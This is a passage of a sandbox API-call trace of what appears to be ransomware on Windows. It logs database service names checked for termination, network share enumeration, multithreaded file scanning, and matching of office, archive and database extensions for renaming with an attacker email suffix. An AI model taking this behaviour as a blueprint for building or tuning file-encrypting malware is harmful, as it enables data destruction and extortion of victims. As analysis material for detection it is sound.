	[0193.226] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0193.226] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0193.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0193.226] lstrlenW (lpString="Themes") returned 6
	[0193.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0193.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0193.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0193.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0193.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0193.226] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0193.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0193.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0193.226] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0193.226] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0193.227] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3a1a400 | out: hHeap=0x750000) returned 1
	[0193.227] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378
	[0193.231] Process32FirstW (in: hSnapshot=0x378, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1

Thread:
	id = 84
	os_tid = 0xf20

	[0187.358] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0xffffffff) returned 0x80
	[0189.536] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x792f30 | out: hHeap=0x750000) returned 1

Thread:
	id = 85
	os_tid = 0xf24

	[0187.359] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7a8878
	[0187.359] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7a8878, Size=0x20) returned 0x78dd00
	[0187.359] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78dd00, Size=0x40) returned 0x767b08
	[0187.359] GetLogicalDrives () returned 0x4
	[0187.359] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x7b5d40
	[0187.360] GetComputerNameW (in: lpBuffer=0x7b5d44, nSize=0x272ff64 | out: lpBuffer="NQDPDE", nSize=0x272ff64) returned 1
	[0187.360] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1000) returned 0x7abb28
	[0187.360] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x272ff34 | out: lphEnum=0x272ff34*=0x766898) returned 0x0
	[0187.360] WNetEnumResourceW (in: hEnum=0x766898, lpcCount=0x272ff30, lpBuffer=0x7abb28, lpBufferSize=0x272ff38 | out: lpcCount=0x272ff30, lpBuffer=0x7abb28, lpBufferSize=0x272ff38) returned 0x103
	[0187.755] WNetCloseEnum (hEnum=0x766898) returned 0x0
	[0187.756] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x272ff34 | out: lphEnum=0x272ff34*=0x76a5f8) returned 0x0
	[0187.874] WNetEnumResourceW (in: hEnum=0x76a5f8, lpcCount=0x272ff30, lpBuffer=0x7abb28, lpBufferSize=0x272ff38 | out: lpcCount=0x272ff30, lpBuffer=0x7abb28, lpBufferSize=0x272ff38) returned 0x0
	[0187.874] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1000) returned 0x838b40
	[0187.874] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7abb28, lphEnum=0x272ff08 | out: lphEnum=0x272ff08*=0x766898) returned 0x0
	[0187.878] WNetEnumResourceW (in: hEnum=0x766898, lpcCount=0x272ff04, lpBuffer=0x838b40, lpBufferSize=0x272ff0c | out: lpcCount=0x272ff04, lpBuffer=0x838b40, lpBufferSize=0x272ff0c) returned 0x103
	[0187.879] WNetCloseEnum (hEnum=0x766898) returned 0x0
	[0187.879] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1000) returned 0x839b48
	[0187.879] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x7abb48, lphEnum=0x272ff08) 

Thread:
	id = 87
	os_tid = 0xf30

	[0187.517] GetTickCount () returned 0x113f533
	[0187.517] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x24) returned 0x766d88
	[0187.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x766d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284
	[0187.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x766d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288
	[0187.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x766d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c
	[0187.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x766d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290
	[0187.520] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2388
	[0187.520] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b2388, Size=0x20) returned 0x78daa8
	[0187.520] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2100
	[0187.520] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b2100, Size=0x20) returned 0x78dc88
	[0187.520] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0187.520] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0187.520] Wow64DisableWow64FsRedirection (in: OldValue=0x282ff7c | out: OldValue=0x282ff7c*=0x0) returned 1
	[0187.520] lstrlenW (lpString="kernel32.dll") returned 12
	[0187.520] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78daa8 | out: hHeap=0x750000) returned 1
	[0187.520] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0187.520] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dc88 | out: hHeap=0x750000) returned 1
	[0187.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x794d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294
	[0187.521] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102
	[0188.257] GetTickCount () returned 0x113f812
	[0188.257] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102
	[0188.584] GetTickCount () returned 0x113f95a
	[0188.584] GetTickCount () returned 0x113f95a
	[0188.584] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102
	[0188.922] GetTickCount () returned 0x113fab2
	[0188.922] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102
	[0189.402] GetTickCount () returned 0x113fc96
	[0189.402] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102
	[0189.728] GetTickCount () returned 0x113fdcf
	[0189.728] GetTickCount () returned 0x113fdcf
	[0189.728] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102
	[0190.061] GetTickCount () returned 0x113ff26
	[0190.061] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102
	[0190.809] GetTickCount () returned 0x1140214
	[0190.809] GetTickCount () returned 0x1140214
	[0190.809] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102
	[0191.202] GetTickCount () returned 0x114039b
	[0191.202] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102
	[0191.455] GetTickCount () returned 0x1140495
	[0191.455] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102
	[0191.592] GetTickCount () returned 0x1140522
	[0191.592] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102
	[0191.891] GetTickCount () returned 0x114064a
	[0191.891] GetTickCount () returned 0x114064a
	[0191.891] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) 

Thread:
	id = 88
	os_tid = 0xf34

	[0187.521] GetTickCount () returned 0x113f533
	[0187.521] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x24) returned 0x766a28
	[0187.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x766a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298
	[0187.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x766a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c
	[0187.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x766a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0
	[0187.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x766a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4
	[0187.523] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b23a0
	[0187.523] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b23a0, Size=0x20) returned 0x78daa8
	[0187.523] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2100
	[0187.523] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b2100, Size=0x20) returned 0x78dc88
	[0187.524] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0187.524] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0187.524] Wow64DisableWow64FsRedirection (in: OldValue=0x296ff7c | out: OldValue=0x296ff7c*=0x0) returned 1
	[0187.524] lstrlenW (lpString="kernel32.dll") returned 12
	[0187.524] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78daa8 | out: hHeap=0x750000) returned 1
	[0187.524] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0187.524] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dc88 | out: hHeap=0x750000) returned 1
	[0187.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x7c5d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8
	[0187.525] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102
	[0188.257] GetTickCount () returned 0x113f812
	[0188.258] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102
	[0188.584] GetTickCount () returned 0x113f95a
	[0188.584] GetTickCount () returned 0x113f95a
	[0188.584] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102
	[0188.922] GetTickCount () returned 0x113fab2
	[0188.922] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102
	[0189.402] GetTickCount () returned 0x113fc96
	[0189.402] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102
	[0189.728] GetTickCount () returned 0x113fdcf
	[0189.728] GetTickCount () returned 0x113fdcf
	[0189.728] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102
	[0190.061] GetTickCount () returned 0x113ff26
	[0190.061] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102
	[0190.809] GetTickCount () returned 0x1140214
	[0190.809] GetTickCount () returned 0x1140214
	[0190.809] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102
	[0191.202] GetTickCount () returned 0x114039b
	[0191.202] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102
	[0191.455] GetTickCount () returned 0x1140495
	[0191.455] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102
	[0191.592] GetTickCount () returned 0x1140522
	[0191.592] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102
	[0191.926] GetTickCount () returned 0x1140679
	[0191.926] GetTickCount () returned 0x1140679
	[0191.926] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) 

Thread:
	id = 90
	os_tid = 0xf3c

	[0187.653] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10000) returned 0x7d7d70
	[0187.654] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10000) returned 0x7e7d78
	[0187.654] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2310
	[0187.654] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x6) returned 0x7a5860
	[0187.654] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2238
	[0187.654] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x100000) returned 0x35f3020
	[0187.657] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2100
	[0187.657] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b2100, Size=0x20) returned 0x78dc88
	[0187.657] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b20b8
	[0187.657] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b20b8, Size=0x20) returned 0x78dbc0
	[0187.657] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0187.657] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0187.657] Wow64DisableWow64FsRedirection (in: OldValue=0x2aaff50 | out: OldValue=0x2aaff50*=0x0) returned 1
	[0187.657] lstrlenW (lpString="kernel32.dll") returned 12
	[0187.657] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dc88 | out: hHeap=0x750000) returned 1
	[0187.657] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0187.657] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dbc0 | out: hHeap=0x750000) returned 1
	[0187.657] Sleep (dwMilliseconds=0x64) 
	[0188.261] lstrcmpiW (lpString1=".ini", lpString2=".Z9") returned -1
	[0188.261] lstrlenW (lpString="desktop.ini") returned 11
	[0188.261] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0188.262] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=129) returned 1
	[0188.262] CloseHandle (hObject=0x310) returned 1
	[0188.262] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26
	[0188.262] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[help.me24@protonmail.com].z9")) returned 0x26
	[0188.262] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0188.262] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0188.262] lstrlenW (lpString=".doc") returned 4
	[0188.262] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0188.262] lstrlenW (lpString=".docx") returned 5
	[0188.262] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0188.262] lstrlenW (lpString=".pdf") returned 4
	[0188.262] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0188.262] lstrlenW (lpString=".xls") returned 4
	[0188.262] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0188.262] lstrlenW (lpString=".xlsx") returned 5
	[0188.262] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0188.262] lstrlenW (lpString=".ppt") returned 4
	[0188.263] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0188.263] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0188.263] lstrlenW (lpString=".zip") returned 4
	[0188.263] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0188.263] lstrlenW (lpString=".rar") returned 4
	[0188.263] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0188.263] lstrlenW (lpString=".bz2") returned 4
	[0188.263] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0188.263] lstrlenW (lpString=".7z") returned 3
	[0188.263] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0188.263] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0188.263] lstrlenW (lpString=".dbf") returned 4
	[0188.263] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0188.263] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0188.263] lstrlenW (lpString=".1cd") returned 4
	[0188.263] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0188.263] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0188.263] lstrlenW (lpString=".jpg") returned 4
	[0188.263] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0188.263] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0188.263] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0188.263] lstrlenW (lpString=".doc") returned 4
	[0188.263] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0188.263] lstrlenW (lpString=".docx") returned 5
	[0188.263] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0188.263] lstrlenW (lpString=".pdf") returned 4
	[0188.263] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0188.263] lstrlenW (lpString=".xls") returned 4
	[0188.263] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0188.264] lstrlenW (lpString=".xlsx") returned 5
	[0188.264] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0188.264] lstrlenW (lpString=".ppt") returned 4
	[0188.264] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0188.264] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0188.264] lstrlenW (lpString=".zip") returned 4
	[0188.264] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0188.264] lstrlenW (lpString=".rar") returned 4
	[0188.264] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0188.264] lstrlenW (lpString=".bz2") returned 4
	[0188.264] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0188.264] lstrlenW (lpString=".7z") returned 3
	[0188.264] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0188.264] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0188.264] lstrlenW (lpString=".dbf") returned 4
	[0188.264] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0188.264] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0188.264] lstrlenW (lpString=".1cd") returned 4
	[0188.264] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0188.264] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0188.264] lstrlenW (lpString=".jpg") returned 4
	[0188.264] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0188.264] Sleep (dwMilliseconds=0x64) 
	[0188.585] Sleep (dwMilliseconds=0x64) 
	[0188.965] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x40088b0, Size=0x2000) returned 0x40088b0
	[0188.965] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.965] lstrlenW (lpString="symbols.xml") returned 11
	[0188.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.965] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=591) returned 1
	[0188.965] CloseHandle (hObject=0x370) returned 1
	[0188.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20
	[0188.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0188.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0188.967] lstrlenW (lpString=".doc") returned 4
	[0188.967] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0188.967] lstrlenW (lpString=".docx") returned 5
	[0188.967] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0188.967] lstrlenW (lpString=".pdf") returned 4
	[0188.967] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0188.967] lstrlenW (lpString=".xls") returned 4
	[0188.967] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0188.967] lstrlenW (lpString=".xlsx") returned 5
	[0188.967] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0188.967] lstrlenW (lpString=".ppt") returned 4
	[0188.967] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0188.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0188.967] lstrlenW (lpString=".zip") returned 4
	[0188.967] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0188.967] lstrlenW (lpString=".rar") returned 4
	[0188.967] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0188.967] lstrlenW (lpString=".bz2") returned 4
	[0188.967] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0188.967] lstrlenW (lpString=".7z") returned 3
	[0188.967] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0188.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0188.967] lstrlenW (lpString=".dbf") returned 4
	[0188.967] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0188.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0188.967] lstrlenW (lpString=".1cd") returned 4
	[0188.967] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0188.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0188.967] lstrlenW (lpString=".jpg") returned 4
	[0188.967] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0188.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0188.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0188.968] lstrlenW (lpString=".doc") returned 4
	[0188.968] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0188.968] lstrlenW (lpString=".docx") returned 5
	[0188.968] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0188.968] lstrlenW (lpString=".pdf") returned 4
	[0188.968] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0188.968] lstrlenW (lpString=".xls") returned 4
	[0188.968] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0188.968] lstrlenW (lpString=".xlsx") returned 5
	[0188.968] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0188.968] lstrlenW (lpString=".ppt") returned 4
	[0188.968] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0188.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0188.968] lstrlenW (lpString=".zip") returned 4
	[0188.968] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0188.968] lstrlenW (lpString=".rar") returned 4
	[0188.968] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0188.968] lstrlenW (lpString=".bz2") returned 4
	[0188.968] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0188.968] lstrlenW (lpString=".7z") returned 3
	[0188.968] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0188.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0188.968] lstrlenW (lpString=".dbf") returned 4
	[0188.968] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0188.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0188.968] lstrlenW (lpString=".1cd") returned 4
	[0188.968] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0188.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0188.968] lstrlenW (lpString=".jpg") returned 4
	[0188.968] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0188.968] lstrcmpiW (lpString1=".dat", lpString2=".Z9") returned -1
	[0188.969] lstrlenW (lpString="hwrcommonlm.dat") returned 15
	[0188.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0188.969] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=46624) returned 1
	[0188.969] CloseHandle (hObject=0x370) returned 1
